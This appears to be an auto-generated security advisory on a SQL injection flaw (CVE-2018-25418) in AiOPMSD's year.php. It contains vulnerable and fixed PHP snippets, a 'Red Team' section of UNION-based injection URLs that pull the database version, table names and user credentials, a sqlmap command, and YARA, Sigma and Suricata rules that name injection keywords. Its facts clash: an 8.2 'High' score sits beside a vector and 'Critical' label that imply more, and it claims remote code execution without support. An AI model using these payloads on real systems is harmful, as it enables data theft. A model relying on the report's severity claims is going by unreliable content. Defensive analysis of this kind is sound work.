CVE-2018-25418

Executive Summary

CVE-2018-25418 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management software. The flaw resides in the year.php endpoint, where the year parameter is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated attacker can exploit this by sending crafted GET requests, leading to full database compromise, including extraction of usernames, database names, and version details. The CVSS score is 8.2 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is trivial to exploit and poses a severe risk to any exposed instance.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (AiOPMSD), not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify or delete data.
• Availability (A): High (H) – Could lead to denial of service via destructive queries.

Threat Level: Critical. Unauthenticated remote code execution via SQL injection is possible, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in year.php. The application takes the year parameter from the HTTP GET request and directly interpolates it into a SQL query without any sanitization, prepared statements, or stored procedures. The vulnerable code pattern is:

$year = $_GET['year'];
$query = "SELECT * FROM projects WHERE year = '$year'";
$result = mysqli_query($conn, $query);

An attacker can break out of the string context by injecting a single quote (') and then append arbitrary SQL. For example, a payload like ' OR '1'='1 would return all rows, while ' UNION SELECT username, password FROM users -- would extract credentials.

The year parameter is expected to be a numeric year (e.g., 2023), but no type validation is performed. This allows any string to be passed.

Vulnerable vs. Patched Code

Vulnerable Code (year.php):

<?php
$year = $_GET['year'];
$query = "SELECT * FROM projects WHERE year = '$year'";
$result = mysqli_query($conn, $query);
// ... display results
?>

Patched Code (hypothetical):

<?php
$year = intval($_GET['year']); // Force integer
$query = "SELECT * FROM projects WHERE year = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $year);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// ... display results
?>

The patched version uses intval() to enforce numeric input and parameterized queries to prevent injection. Since no official patch exists, this is the recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy AiOPMSD Final 1.0.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://target/year.php.

Exploitation Steps:

1. Basic Injection: http://target/year.php?year=2023' OR '1'='1
2. Extract Database Version: http://target/year.php?year=2023' UNION SELECT @@version,2,3 --
3. Extract Table Names: http://target/year.php?year=2023' UNION SELECT table_name,2,3 FROM information_schema.tables --
4. Extract User Credentials: http://target/year.php?year=2023' UNION SELECT username,password,3 FROM users --

Automated Exploitation (sqlmap):

sqlmap -u "http://target/year.php?year=2023" --batch --dbs

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for suspicious year parameter values containing SQL keywords (UNION, SELECT, OR, ').
2. Deploy WAF rules to block requests with non-numeric year values.
3. Use the detection rules provided below.

Indicators of Compromise (IOCs)

• Network IOCs:

  • GET requests to /year.php with year parameter containing SQL syntax (e.g., ', UNION, SELECT, --).
  • Unusual HTTP response sizes or error messages containing SQL errors (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified year.php file (if attacker uploads webshell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).

• Log IOCs:

  • Apache/Nginx access logs showing year.php with encoded SQL payloads.
  • Database query logs showing unexpected queries.

Detection Engineering

YARA Rule

rule CVE_2018_25418_SQLi_YearParam {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2018-25418 in AiOPMSD year.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25418"
    strings:
        $sqli1 = /year=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /year=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt on AiOPMSD year.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2018-25418
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - "year="
        cs-uri-query|re: 
            - "'.*OR.*'1'='1"
            - "'.*UNION.*SELECT"
            - "'.*--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in year field (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2018-25418 SQL Injection Attempt on year.php"; flow:to_server,established; content:"/year.php"; http_uri; content:"year="; http_uri; pcre:"/year=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If AiOPMSD is exposed to the internet, take it offline or restrict access via firewall rules.
2. Code Fix: Replace all instances of direct variable interpolation in SQL queries with parameterized prepared statements. For year.php, use intval() and prepared statements as shown in the patched code example.
3. Input Validation: Implement strict input validation for the year parameter – only allow numeric values (e.g., ctype_digit() or preg_match('/^\d{4}$/', $year)).
4. WAF Rules: Deploy web application firewall rules to block SQL injection patterns in the year parameter.
5. Database Hardening: Use a database user with minimal privileges (e.g., only SELECT for the application).
6. Monitoring: Enable detailed logging for web and database servers, and set up alerts for SQL injection patterns.
7. Vendor Contact: Since no patch exists, consider migrating to an alternative project management solution or forking the codebase to apply fixes.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2018-25418